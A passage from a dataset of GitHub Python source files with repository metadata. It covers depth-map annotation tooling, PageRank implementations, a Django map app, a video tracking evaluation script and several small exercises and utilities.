depth_path, colored_depth_output_path = item.strip().split()\n if not os.path.exists(depth_path):\n print(\"invalid line : \", item)\n print(\"input txt format: [input depth image path] [colored depth map saved path]\")\n continue\n os.makedirs(os.path.split(colored_depth_output_path)[0], exist_ok=True)\n save_heatmap_no_border(cv2.imread(depth_path, cv2.IMREAD_ANYDEPTH), colored_depth_output_path)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Get Setting :D')\n parser.add_argument(\n '--function', default=\"3\")\n parser.add_argument(\n '--coco_json', default=\"\")\n parser.add_argument(\n '--annotation_progress_save_folder', default=\"\",\n help=\"folder to save the plane annotation progress\")\n parser.add_argument(\n '--input_txt', default=\"\")\n parser.add_argument('--multi_processing', help='do multi-process or not', action='store_true')\n parser.add_argument('--overwrite', help='overwrite current result or not', action='store_true')\n parser.add_argument('--anno_show_plane', help='do multi-process or not', action='store_true')\n parser.add_argument(\n '--process_index', default=0, type=int, help=\"if do --multi_processing please input the process index\")\n parser.add_argument(\n '--border_width', default=25, type=int,\n help=\"border width of mirror; when setup annotation environment, specify a border with to run RANSAC on \"\n \"mirror border\")\n parser.add_argument(\n '--expand_range', default=200, type=int, help=\"expand the mirror instance bbox by expand_range; unit : mm\")\n parser.add_argument(\n '--clamp_dis', default=100, type=int, help=\"outliers threshold\")\n parser.add_argument(\n '--above_height', default=3000, type=int, help=\"camera height to the mirror plane center in the topdown view\")\n parser.add_argument(\n '--video_num_per_page', default=100, type=int)\n parser.add_argument(\n '--html_output_folder', default=\"\")\n parser.add_argument(\n '--view_mode', default=\"front\", help=\"object view angle : (1) topdown (2) front\")\n args = parser.parse_args()\n\n plane_anno_tool = PlaneAnnotationTool(process_index=args.process_index, multi_processing=args.multi_processing,\n overwrite=args.overwrite)\n\n if args.function == \"1\":\n print(\"input txt format: [color image filename in coco json] [integer mask output path] [RGB mask output path]\")\n plane_anno_tool.gen_int_mask_color_mask(args.coco_json, args.input_txt)\n elif args.function == \"2\":\n print(\"input txt format: [input integer mask path] [RGB mask output path]\")\n plane_anno_tool.gen_color_mask_from_int_mask(args.input_txt)\n elif args.function == \"3\":\n print(\"input txt format: [input integer mask path] [input refined depth path] [plane JSON file output path] [\"\n \"focal length of this sample]\")\n plane_anno_tool.update_plane_info_from_depth(args.input_txt)\n elif args.function == \"4\":\n print(\"input txt format: [input color image path] [input depth image path] [input integer mask path] [\"\n \"pointcloud output folder(pointcloud's name will be color image name + instance id)] [plane parameter \"\n \"JSON output path] [folder to save color image with mirror border mask] [focal length of this sample]\")\n plane_anno_tool.anno_env_setup(args.input_txt, args.border_width)\n elif args.function == \"5\":\n print(\"input txt format: [input color image path] [input depth image path] [input integer mask path] [\"\n \"instance pointcloud path] [plane parameter JSON output path] [path to the color image with mirror \"\n \"border mask] [focal length of this sample]\")\n plane_anno_tool.set_show_plane(args.anno_show_plane)\n plane_anno_tool.anno_plane_update_imgInfo(args.annotation_progress_save_folder, args.input_txt)\n elif args.function == \"6\":\n print(\"input txt format: [path to depth map to refine (rawD)] [input integer mask path] [plane parameter JSON \"\n \"output path] [path to save the refined depth map (refD)] [focal length of this sample]\")\n plane_anno_tool.anno_update_depth_from_img_info(args.input_txt)\n elif args.function == \"7\":\n print(\"input txt format: [path to depth map to the unclamped refine (rawD)] [input integer mask path] [plane \"\n \"parameter JSON output path] [path to save the clamped refined depth map (refD)] [focal length of this \"\n \"sample]\")\n plane_anno_tool.data_clamping(args.input_txt, args.expand_range, args.clamp_dis, args.border_width)\n elif args.function == \"8\":\n print(\"input txt format: [input color image path] [input depth image path] [input integer mask path] [plane \"\n \"parameter JSON path] [folder to save the output pointcloud] [folder to save the output mesh plane] [\"\n \"focal length of this sample]\")\n plane_anno_tool.generate_pcdMesh_for_vis(args.input_txt)\n elif args.function == \"9\":\n print(\"input txt format: [path to pointcloud] [path to mesh plane] [screenshot output main folder]\")\n plane_anno_tool.set_view_mode(\"topdown\")\n plane_anno_tool.generate_video_screenshot_from_3Dobject(args.input_txt, args.above_height)\n plane_anno_tool.set_view_mode(\"front\")\n plane_anno_tool.generate_video_screenshot_from_3Dobject(args.input_txt, args.above_height)\n elif args.function == \"10\":\n print(\"input txt format: [path to pointcloud] [path to mesh plane] [screenshot output main folder]\")\n plane_anno_tool.set_view_mode(args.view_mode)\n plane_anno_tool.generate_video_screenshot_from_3Dobject(args.input_txt, args.above_height)\n elif args.function == \"11\":\n print(\"input txt format: [input depth image path] [colored depth map saved path]\")\n plane_anno_tool.gen_colored_grayscale_for_depth(args.input_txt)\n elif args.function == \"12\":\n print(\"input txt format: [sample id] [input color image path] [colored depth map saved path] [front view \"\n \"video path] [topdown view video path]\")\n plane_anno_tool.gen_verification_html(args.input_txt, args.video_num_per_page, args.html_output_folder)\n","repo_name":"3dlg-hcvc/mirror3d","sub_path":"mirror3d/annotation/plane_annotation/plane_annotation_tool.py","file_name":"plane_annotation_tool.py","file_ext":"py","file_size_in_byte":52394,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"3"} +{"seq_id":"19529809449","text":"import collections\n\n\n# Working with nested data\n\ndef merge(d, u):\n if not d:\n return u\n if not u:\n return d\n for k, v in u.items():\n if isinstance(v, collections.Mapping):\n d[k] = merge(d.get(k, {}), v)\n else:\n d[k] = v\n return d\n\ndef get(_dict, keys, default=None):\n for key in keys:\n if isinstance(_dict, dict):\n _dict = _dict.get(key, default)\n else:\n return default\n return _dict","repo_name":"yuriizinets/tradehub","sub_path":"core/src/modules/nested_data.py","file_name":"nested_data.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"14867730261","text":"seq = input(\"Introduce the sequence: \")\na, c, g, t = 0, 0, 0, 0\nfor base in seq:\n if base == \"A\":\n a += 1\n elif base == \"C\":\n c += 1\n elif base == \"T\":\n t += 1\n elif base == \"G\":\n g += 1\n else:\n print(\"Not a valid sequence\")\n break\nprint(\"Total length:\", len(seq), \"\\nA:\", a, \"\\nC:\", c, \"\\nT:\", t, \"\\nG:\", g)","repo_name":"ClaireOnline/PNE_2021_Practices","sub_path":"Session-03/dna-count.py","file_name":"dna-count.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19235639192","text":"import networkx as nx\nfrom networkx.exception import NetworkXError\n__author__ = \"\"\"Aric Hagberg (hagberg@lanl.gov)\"\"\"\n__all__ = ['pagerank','pagerank_numpy','pagerank_scipy','google_matrix']\n\ndef pagerank(G,alpha=0.85,personalization=None,\n max_iter=100,tol=1.0e-8,nstart=None,weight='weight'):\n \"\"\"Return the PageRank of the nodes in the graph.\n\n PageRank computes a ranking of the nodes in the graph G based on\n the structure of the incoming links. It was originally designed as\n an algorithm to rank web pages.\n\n Parameters\n -----------\n G : graph\n A NetworkX graph\n\n alpha : float, optional\n Damping parameter for PageRank, default=0.85\n\n personalization: dict, optional\n The \"personalization vector\" consisting of a dictionary with a\n key for every graph node and nonzero personalization value for each node.\n\n max_iter : integer, optional\n Maximum number of iterations in power method eigenvalue solver.\n\n tol : float, optional\n Error tolerance used to check convergence in power method solver.\n\n nstart : dictionary, optional\n Starting value of PageRank iteration for each node.\n\n weight : key, optional\n Edge data key to use as weight. If None weights are set to 1.\n\n Returns\n -------\n pagerank : dictionary\n Dictionary of nodes with PageRank as value\n\n Examples\n --------\n >>> G=nx.DiGraph(nx.path_graph(4))\n >>> pr=nx.pagerank(G,alpha=0.9)\n\n Notes\n -----\n The eigenvector calculation is done by the power iteration method\n and has no guarantee of convergence. The iteration will stop\n after max_iter iterations or an error tolerance of\n number_of_nodes(G)*tol has been reached.\n\n The PageRank algorithm was designed for directed graphs but this\n algorithm does not check if the input graph is directed and will\n execute on undirected graphs by converting each oriented edge in the\n directed graph to two edges.\n\n See Also\n --------\n pagerank_numpy, pagerank_scipy, google_matrix\n\n References\n ----------\n .. [1] A. Langville and C. Meyer,\n \"A survey of eigenvector methods of web information retrieval.\"\n http://citeseer.ist.psu.edu/713792.html\n .. [2] Page, Lawrence; Brin, Sergey; Motwani, Rajeev and Winograd, Terry,\n The PageRank citation ranking: Bringing order to the Web. 1999\n http://dbpubs.stanford.edu:8090/pub/showDoc.Fulltext?lang=en&doc=1999-66&format=pdf\n \"\"\"\n if type(G) == nx.MultiGraph or type(G) == nx.MultiDiGraph:\n raise Exception(\"pagerank() not defined for graphs with multiedges.\")\n\n if len(G) == 0:\n return {}\n\n if not G.is_directed():\n D=G.to_directed()\n else:\n D=G\n\n # create a copy in (right) stochastic form\n W=nx.stochastic_graph(D, weight=weight)\n scale=1.0/W.number_of_nodes()\n\n # choose fixed starting vector if not given\n if nstart is None:\n x=dict.fromkeys(W,scale)\n else:\n x=nstart\n # normalize starting vector to 1\n s=1.0/sum(x.values())\n for k in x: x[k]*=s\n\n # assign uniform personalization/teleportation vector if not given\n if personalization is None:\n p=dict.fromkeys(W,scale)\n else:\n p=personalization\n # normalize starting vector to 1\n s=1.0/sum(p.values())\n for k in p:\n p[k]*=s\n if set(p)!=set(G):\n raise NetworkXError('Personalization vector '\n 'must have a value for every node')\n\n\n # \"dangling\" nodes, no links out from them\n out_degree=W.out_degree()\n dangle=[n for n in W if out_degree[n]==0.0]\n i=0\n while True: # power iteration: make up to max_iter iterations\n xlast=x\n x=dict.fromkeys(xlast.keys(),0)\n danglesum=alpha*scale*sum(xlast[n] for n in dangle)\n for n in x:\n # this matrix multiply looks odd because it is\n # doing a left multiply x^T=xlast^T*W\n for nbr in W[n]:\n x[nbr]+=alpha*xlast[n]*W[n][nbr][weight]\n x[n]+=danglesum+(1.0-alpha)*p[n]\n # normalize vector\n s=1.0/sum(x.values())\n for n in x:\n x[n]*=s\n # check convergence, l1 norm\n err=sum([abs(x[n]-xlast[n]) for n in x])\n if err < tol:\n break\n if i>max_iter:\n raise NetworkXError('pagerank: power iteration failed to converge'\n 'in %d iterations.'%(i+1))\n i+=1\n return x\n\n\ndef google_matrix(G, alpha=0.85, personalization=None,\n nodelist=None, weight='weight'):\n \"\"\"Return the Google matrix of the graph.\n\n Parameters\n -----------\n G : graph\n A NetworkX graph\n\n alpha : float\n The damping factor\n\n personalization: dict, optional\n The \"personalization vector\" consisting of a dictionary with a\n key for every graph node and nonzero personalization value for each node.\n\n nodelist : list, optional\n The rows and columns are ordered according to the nodes in nodelist.\n If nodelist is None, then the ordering is produced by G.nodes().\n\n weight : key, optional\n Edge data key to use as weight. If None weights are set to 1.\n\n Returns\n -------\n A : NumPy matrix\n Google matrix of the graph\n\n See Also\n --------\n pagerank, pagerank_numpy, pagerank_scipy\n \"\"\"\n try:\n import numpy as np\n except ImportError:\n raise ImportError(\\\n \"google_matrix() requires NumPy: http://scipy.org/\")\n # choose ordering in matrix\n if personalization is None: # use G.nodes() ordering\n nodelist=G.nodes()\n else: # use personalization \"vector\" ordering\n nodelist=personalization.keys()\n if set(nodelist)!=set(G):\n raise NetworkXError('Personalization vector dictionary'\n 'must have a value for every node')\n M=nx.to_numpy_matrix(G,nodelist=nodelist,weight=weight)\n (n,m)=M.shape # should be square\n if n == 0:\n return M\n # add constant to dangling nodes' row\n dangling=np.where(M.sum(axis=1)==0)\n for d in dangling[0]:\n M[d]=1.0/n\n # normalize\n M=M/M.sum(axis=1)\n # add \"teleportation\"/personalization\n e=np.ones((n))\n if personalization is not None:\n v=np.array(list(personalization.values()),dtype=float)\n else:\n v=e\n v=v/v.sum()\n P=alpha*M+(1-alpha)*np.outer(e,v)\n return P\n\n\ndef pagerank_numpy(G, alpha=0.85, personalization=None, weight='weight'):\n \"\"\"Return the PageRank of the nodes in the graph.\n\n PageRank computes a ranking of the nodes in the graph G based on\n the structure of the incoming links. It was originally designed as\n an algorithm to rank web pages.\n\n Parameters\n -----------\n G : graph\n A NetworkX graph\n\n alpha : float, optional\n Damping parameter for PageRank, default=0.85\n\n personalization: dict, optional\n The \"personalization vector\" consisting of a dictionary with a\n key for every graph node and nonzero personalization value for each node.\n\n weight : key, optional\n Edge data key to use as weight. If None weights are set to 1.\n\n Returns\n -------\n pagerank : dictionary\n Dictionary of nodes with PageRank as value\n\n Examples\n --------\n >>> G=nx.DiGraph(nx.path_graph(4))\n >>> pr=nx.pagerank_numpy(G,alpha=0.9)\n\n Notes\n -----\n The eigenvector calculation uses NumPy's interface to the LAPACK\n eigenvalue solvers. This will be the fastest and most accurate\n for small graphs.\n\n This implementation works with Multi(Di)Graphs.\n\n See Also\n --------\n pagerank, pagerank_scipy, google_matrix\n\n References\n ----------\n .. [1] A. Langville and C. Meyer,\n \"A survey of eigenvector methods of web information retrieval.\"\n http://citeseer.ist.psu.edu/713792.html\n .. [2] Page, Lawrence; Brin, Sergey; Motwani, Rajeev and Winograd, Terry,\n The PageRank citation ranking: Bringing order to the Web. 1999\n http://dbpubs.stanford.edu:8090/pub/showDoc.Fulltext?lang=en&doc=1999-66&format=pdf\n \"\"\"\n try:\n import numpy as np\n except ImportError:\n raise ImportError(\"pagerank_numpy() requires NumPy: http://scipy.org/\")\n if len(G) == 0:\n return {}\n # choose ordering in matrix\n if personalization is None: # use G.nodes() ordering\n nodelist=G.nodes()\n else: # use personalization \"vector\" ordering\n nodelist=personalization.keys()\n M=google_matrix(G, alpha, personalization=personalization,\n nodelist=nodelist, weight=weight)\n # use numpy LAPACK solver\n eigenvalues,eigenvectors=np.linalg.eig(M.T)\n ind=eigenvalues.argsort()\n # eigenvector of largest eigenvalue at ind[-1], normalized\n largest=np.array(eigenvectors[:,ind[-1]]).flatten().real\n norm=float(largest.sum())\n centrality=dict(zip(nodelist,map(float,largest/norm)))\n return centrality\n\n\ndef pagerank_scipy(G, alpha=0.85, personalization=None,\n max_iter=100, tol=1.0e-6, weight='weight'):\n \"\"\"Return the PageRank of the nodes in the graph.\n\n PageRank computes a ranking of the nodes in the graph G based on\n the structure of the incoming links. It was originally designed as\n an algorithm to rank web pages.\n\n Parameters\n -----------\n G : graph\n A NetworkX graph\n\n alpha : float, optional\n Damping parameter for PageRank, default=0.85\n\n personalization: dict, optional\n The \"personalization vector\" consisting of a dictionary with a\n key for every graph node and nonzero personalization value for each node.\n\n max_iter : integer, optional\n Maximum number of iterations in power method eigenvalue solver.\n\n tol : float, optional\n Error tolerance used to check convergence in power method solver.\n\n weight : key, optional\n Edge data key to use as weight. If None weights are set to 1.\n\n Returns\n -------\n pagerank : dictionary\n Dictionary of nodes with PageRank as value\n\n Examples\n --------\n >>> G=nx.DiGraph(nx.path_graph(4))\n >>> pr=nx.pagerank_scipy(G,alpha=0.9)\n\n Notes\n -----\n The eigenvector calculation uses power iteration with a SciPy\n sparse matrix representation.\n\n See Also\n --------\n pagerank, pagerank_numpy, google_matrix\n\n References\n ----------\n .. [1] A. Langville and C. Meyer,\n \"A survey of eigenvector methods of web information retrieval.\"\n http://citeseer.ist.psu.edu/713792.html\n .. [2] Page, Lawrence; Brin, Sergey; Motwani, Rajeev and Winograd, Terry,\n The PageRank citation ranking: Bringing order to the Web. 1999\n http://dbpubs.stanford.edu:8090/pub/showDoc.Fulltext?lang=en&doc=1999-66&format=pdf\n \"\"\"\n try:\n import scipy.sparse\n except ImportError:\n raise ImportError(\"pagerank_scipy() requires SciPy: http://scipy.org/\")\n if len(G) == 0:\n return {}\n # choose ordering in matrix\n if personalization is None: # use G.nodes() ordering\n nodelist=G.nodes()\n else: # use personalization \"vector\" ordering\n nodelist=personalization.keys()\n M=nx.to_scipy_sparse_matrix(G,nodelist=nodelist,weight=weight,dtype='f')\n (n,m)=M.shape # should be square\n S=scipy.array(M.sum(axis=1)).flatten()\n# for i, j, v in zip( *scipy.sparse.find(M) ):\n# M[i,j] = v / S[i]\n S[S>0] = 1.0 / S[S>0]\n Q = scipy.sparse.spdiags(S.T, 0, *M.shape, format='csr')\n M = Q * M\n x=scipy.ones((n))/n # initial guess\n dangle=scipy.array(scipy.where(M.sum(axis=1)==0,1.0/n,0)).flatten()\n # add \"teleportation\"/personalization\n if personalization is not None:\n v=scipy.array(list(personalization.values()),dtype=float)\n v=v/v.sum()\n else:\n v=x\n i=0\n while i <= max_iter:\n # power iteration: make up to max_iter iterations\n xlast=x\n x=alpha*(x*M+scipy.dot(dangle,xlast))+(1-alpha)*v\n x=x/x.sum()\n # check convergence, l1 norm\n err=scipy.absolute(x-xlast).sum()\n if err < n*tol:\n return dict(zip(nodelist,map(float,x)))\n i+=1\n raise NetworkXError('pagerank_scipy: power iteration failed to converge'\n 'in %d iterations.'%(i+1))\n\n\n# fixture for nose tests\ndef setup_module(module):\n from nose import SkipTest\n try:\n import numpy\n except:\n raise SkipTest(\"NumPy not available\")\n try:\n import scipy\n except:\n raise SkipTest(\"SciPy not available\")\n","repo_name":"miniBloq/v0.83","sub_path":"source/Bin/Minibloq/lang/PPythonWin/v2.7.5.1/App/Lib/site-packages/networkx/algorithms/link_analysis/pagerank_alg.py","file_name":"pagerank_alg.py","file_ext":"py","file_size_in_byte":12601,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"3"} +{"seq_id":"8269477522","text":"import folium\nimport json\n\nfrom django.http import HttpResponseNotFound\nfrom django.shortcuts import render\nfrom .models import Pokemon, PokemonEntity\nimport os\n\n\nMOSCOW_CENTER = [55.751244, 37.618423]\nDEFAULT_IMAGE_URL = \"https://vignette.wikia.nocookie.net/pokemon/images/6/6e/%21.png/revision/latest/fixed-aspect-ratio-down/width/240/height/240?cb=20130525215832&fill=transparent\"\n\n\ndef add_pokemon(folium_map, lat, lon, name, image_url=DEFAULT_IMAGE_URL):\n icon = folium.features.CustomIcon(\n image_url,\n icon_size=(50, 50),\n )\n folium.Marker(\n [lat, lon],\n tooltip=name,\n icon=icon,\n ).add_to(folium_map)\n\n\ndef show_all_pokemons(request):\n pokemons_entities = PokemonEntity.objects.select_related('pokemon')\n folium_map = folium.Map(location=MOSCOW_CENTER, zoom_start=12)\n for pokemon_entity in pokemons_entities:\n img_url = os.path.abspath(pokemon_entity.pokemon.image.url[1:])\n add_pokemon(\n folium_map, pokemon_entity.lat, pokemon_entity.lon,\n pokemon_entity.pokemon.title, img_url)\n\n pokemons_on_page = []\n pokemons = Pokemon.objects.all()\n for pokemon in pokemons:\n if pokemon.image:\n img_url = pokemon.image.url\n else:\n img_url = pokemon.image\n pokemons_on_page.append({\n 'pokemon_id': pokemon.id,\n 'img_url': img_url,\n 'title_ru': pokemon.title,\n })\n\n return render(request, \"mainpage.html\", context={\n 'map': folium_map._repr_html_(),\n 'pokemons': pokemons_on_page,\n })\n\n\ndef show_pokemon(request, pokemon_id):\n pokemon = Pokemon.objects.get(id=pokemon_id)\n \n if pokemon.id == int(pokemon_id):\n requested_pokemon = pokemon\n else:\n return HttpResponseNotFound('

    Такой покемон не найден

    ')\n\n folium_map = folium.Map(location=MOSCOW_CENTER, zoom_start=12)\n\n requested_pokemon_entities = PokemonEntity.objects.select_related('pokemon').filter(pokemon=requested_pokemon)\n for pokemon_entity in requested_pokemon_entities:\n img_url = os.path.abspath(pokemon_entity.pokemon.image.url[1:])\n add_pokemon(\n folium_map, pokemon_entity.lat, pokemon_entity.lon,\n pokemon_entity.pokemon.title, img_url)\n\n\n return render(request, \"pokemon.html\", context={'map': folium_map._repr_html_(),\n 'pokemon': pokemon})\n","repo_name":"anderskate/pokemon_map","sub_path":"pokemon_entities/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11618108041","text":"import re\r\n\r\nf = open(\"witl-May-08-2020\", \"r\")\r\nfw = open(\"witl-May-09-2020.txt\", \"w\")\r\n\r\nstr_all = f.read()\r\ncode_all = re.findall(r'\\d+', str_all)\r\n# print(code_all)\r\nfor code in code_all:\r\n\tlink = \"nhentai.net/g/\" + code\r\n\tprint(link)\r\n\tfw.write(link)\r\n\tfw.write(\"\\n\")\r\nfw.close()\r\n","repo_name":"CooKingThe1st/nhentai_auto_most_like_legacy","sub_path":"fix_fail.py","file_name":"fix_fail.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40226067049","text":"# -*- origami-fold-style: triple-braces -*-\nimport sys\nimport os\nimport argparse\nimport tqdm\nimport numpy as np\nimport pickle\nfrom pathlib import Path\nimport socket\nimport datetime\nimport einops\nfrom collections import defaultdict\nimport pandas as pd\n\nfrom MFT.utils.various import with_debugger\nfrom MFT.config import load_config\nfrom MFT.evaluation import tapvid_eval_stuff as tves\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\ndef get_parser():\n parser = argparse.ArgumentParser(description='',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('dataset', help='dataset config', type=Path)\n parser.add_argument('trackers', help='path to tracker configs, all must share the same flow_config', type=Path,\n nargs='+')\n parser.add_argument('--export', help='result export directory', type=Path, required=True)\n parser.add_argument('--cache', help='flow cache directory', type=Path, required=True)\n parser.add_argument('--gpu', help='cuda device')\n parser.add_argument('-c', '--cont', help='skip already computed sequences', action='store_true')\n parser.add_argument('--debug', help='track with tracker debug info', action='store_true')\n parser.add_argument('-v', '--verbose', help='', action='store_true')\n parser.add_argument('--mode', help='TAP-Vid evaluation query modes', choices=['first', 'strided', 'both'],\n default='both')\n return parser\n\n\ndef parse_arguments():\n parser = get_parser()\n\n args = parser.parse_args()\n if args.gpu is not None:\n os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu\n\n stdout_lvl = logging.DEBUG if args.verbose else logging.INFO\n stdout_handler = logging.StreamHandler()\n stdout_handler.setLevel(stdout_lvl)\n log_handlers = [stdout_handler]\n\n stamp = datetime.datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\")\n\n log_format = \"[%(asctime)s] %(levelname)s:%(name)s:%(message)s\"\n logging.basicConfig(level=logging.DEBUG, format=log_format, handlers=log_handlers)\n logging.getLogger(\"asyncio\").setLevel(logging.WARNING)\n logging.getLogger(\"matplotlib\").setLevel(logging.WARNING)\n logging.getLogger(\"ltr.admin.loading\").setLevel(logging.ERROR)\n\n hostname = socket.gethostname()\n cmdline = str(' '.join(sys.argv))\n logger.info(f\"cmd: {cmdline}\")\n logger.info(f\"start: {stamp}\")\n logger.info(f\"host: {hostname}\")\n\n return args\n\n\ndef run(args):\n configs = [load_config(path) for path in args.trackers]\n\n dataset_conf = load_config(args.dataset)\n\n if args.mode == 'both':\n query_modes = ['first', 'strided']\n else:\n query_modes = [args.mode]\n\n all_metrics = {'strided': defaultdict(list),\n 'first': defaultdict(list)}\n for pickle_path in tqdm.tqdm(dataset_conf.pickles, desc='pkl shards', position=0, leave=None, ascii=True):\n dataset = tves.create_tapvid_dataset(pickle_path, query_modes, dataset_conf.scaling, fake_video=True)\n for seq in tqdm.tqdm(dataset, desc='sequences', position=1, leave=None, ascii=True):\n orig_sequence_name = seq['video_name']\n video = seq[\"data\"][query_modes[0]][\"video\"] # all query_modes have the same [\"video\"]\n video = einops.rearrange(video, '1 N_frames H W C -> N_frames H W C', C=3)\n assert video.dtype == np.uint8\n\n for query_mode in tqdm.tqdm(query_modes, desc='query mode', position=2, leave=None, ascii=True):\n gt_data = seq[\"data\"][query_mode]\n query_points = einops.rearrange(gt_data['query_points'],\n '1 N_queries txy -> N_queries txy').astype(np.int64)\n gt_tracks = gt_data['target_points'] # (1, N_queries, N_frames, 2) in dataset-config-specific scale\n H, W = video.shape[1], video.shape[2]\n scale = einops.rearrange(np.array([256.0 / W, 256.0 / H]), 'xy -> 1 1 1 xy')\n gt_tracks *= scale\n gt_occluded = gt_data['occluded'] # (1, N_queries, N_frames)\n for tracker_config in tqdm.tqdm(configs, desc='trackers', position=3, leave=None, ascii=True):\n export_dir = args.export / tracker_config.name\n result_dir = export_dir / 'results'\n seq_querymode_tracker_result_path = result_dir / f'{orig_sequence_name}-{query_mode}.pklz'\n with open(seq_querymode_tracker_result_path, 'rb') as fin:\n tracklet_outputs = pickle.load(fin)\n pred_tracks = tracklet_outputs['tracks'] # (1, N_queries, N_frames), scaled to 256 x 256\n pred_occluded = tracklet_outputs['occluded'] # (1, N_queries, N_frames, xy)\n\n pred_occluded = np.float32(pred_occluded > 0.5)\n assert pred_tracks.shape[0] == 1\n assert pred_tracks.shape[3] == 2\n assert len(pred_tracks.shape) == 4\n assert gt_occluded.shape == pred_occluded.shape\n assert gt_tracks.shape == pred_tracks.shape\n metrics = tves.compute_tapvid_metrics(\n query_points,\n gt_occluded,\n gt_tracks,\n pred_occluded,\n pred_tracks,\n query_mode)\n # skip singleton dimension:\n assert all(val.shape == (1, ) for key, val in metrics.items())\n metrics = {key: val[0] for key, val in metrics.items()}\n metrics['seq'] = orig_sequence_name\n all_metrics[query_mode][tracker_config.name].append(metrics)\n\n for tracker_config in tqdm.tqdm(configs, desc='export', ascii=True):\n tracker_name = tracker_config.name\n export_dir = args.export / tracker_name\n eval_dir = export_dir / 'eval'\n eval_dir.mkdir(parents=True, exist_ok=True)\n\n for query_mode in query_modes:\n tracker_metrics = all_metrics[query_mode][tracker_name]\n\n tracker_metrics = {i: val for i, val in enumerate(tracker_metrics)}\n tracker_metrics = pd.DataFrame.from_dict(tracker_metrics, orient=\"index\")\n out_name = 'tapvid-eval'\n if query_mode == 'strided':\n out_name += '-strided'\n tracker_metrics.to_pickle(eval_dir / f'{out_name}.pklz')\n return 0\n\n\ndef all_same(xs):\n return all(x == xs[0] for x in xs)\n\n\ndef validate_configs(configs):\n # check that all the configs share the same tracker class and optical flow\n assert all_same([c.tracker_class for c in configs])\n assert all_same([c.flow_config for c in configs])\n\n\n@with_debugger\ndef main():\n args = parse_arguments()\n return run(args)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"serycjon/MFT","sub_path":"MFT/runners/eval_MFT_tapvid.py","file_name":"eval_MFT_tapvid.py","file_ext":"py","file_size_in_byte":6927,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"13773857813","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def mergeInBetween(self, list1: ListNode, a: int, b: int, list2: ListNode) -> ListNode:\n node = list1\n cnt = 1\n # if node.val != a: #not at the beginning \n while node:\n if node.next and cnt == a:\n left = node\n if cnt == b:\n right = node.next\n node = node.next\n cnt += 1\n left.next = list2\n while left.next:\n left = left.next\n left.next = right.next\n return list1\n # else:\n # while node:\n # if node.val == b:\n # right = node.next\n # node = node.next\n # node2 = list2\n # while node2.next:\n # node2 = node2.next\n # node2.next = right\n # return list2\n \n \n ","repo_name":"tans1/A2SV-Competitive-Programming","sub_path":"1669-merge-in-between-linked-lists/1669-merge-in-between-linked-lists.py","file_name":"1669-merge-in-between-linked-lists.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29011876696","text":"# Don't change the code below\nnumber = int(input(\"Which number do you want to check? \"))\n# Don't change the code above\n\n#Write your code below this line\nremainder = number % 2\n\nif remainder == 1:\n print(\"This is an odd number\")\nelse:\n print(\"This is an even number\")\n","repo_name":"timgarciaa/100DaysOfCodePython","sub_path":"Day3/OddOrEven.py","file_name":"OddOrEven.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"13851076881","text":"import setuptools\r\n\r\nwith open(\"README.md\", \"r\") as fh:\r\n long_description = fh.read()\r\n\r\nsetuptools.setup(\r\n name=\"ghcn_wa_database\", # Replace with your own username\r\n version=\"0.0.1\",\r\n author=\"Matt Roe\",\r\n author_email=\"matthew.a.roe@gmail.com\",\r\n description=(\"Tools to build and access a local SQLite database from the \\\r\n GHCN daily observations data at stations in Washington State, \\\r\n USA\"),\r\n long_description=long_description,\r\n long_description_content_type=\"text/markdown\",\r\n url=\"https://github.com/matroe1/ghcn_wa_database\",\r\n packages=setuptools.find_packages(),\r\n classifiers=[\r\n \"Programming Language :: Python :: 3\"\r\n ],\r\n python_requires='>=3.6',\r\n)\r\n","repo_name":"matroe1/ghcn_wa_database","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71716627283","text":"import rospy\nfrom geometry_msgs.msg import Twist\n\nclass CmdVelDistribute():\n\n\n\n\n\n def __init__(self):\n rospy.init_node('CmdVelDistribute',anonymous=False)\n self.sub1 = rospy.Subscriber('joy',Joy, self.setGoal)\n self.sub2 = rospy.Subscriber()\n self.pub = rospy.Publisher('car/cmd_vel',Twist, queue_size=10)\n self.pubmsg = PoseStamped()\n rate = rospy.Rate(10)\n\n\n\nif __name__ == \"__main__\":\n whatever = CmdVelDistribute","repo_name":"HaoYejia/Give-the-Blind-an-Elephant-in-the-Room","sub_path":"Scripts/temp/ws/src/temp/src/CmdVelDistribute.py","file_name":"CmdVelDistribute.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22455897296","text":"'''\n@Author: your name\n@Date: 2020-02-13 10:25:55\n@LastEditTime: 2020-03-02 11:04:36\n@LastEditors: Please set LastEditors\n@Description: In User Settings Edit\n@FilePath: \\vscode_code\\其他\\数据分析第二版\\数据清洗\\test.py\n'''\n#https://blog.csdn.net/luocheng7430/article/details/80330566\n#drop方法\nimport numpy as np \nimport pandas as 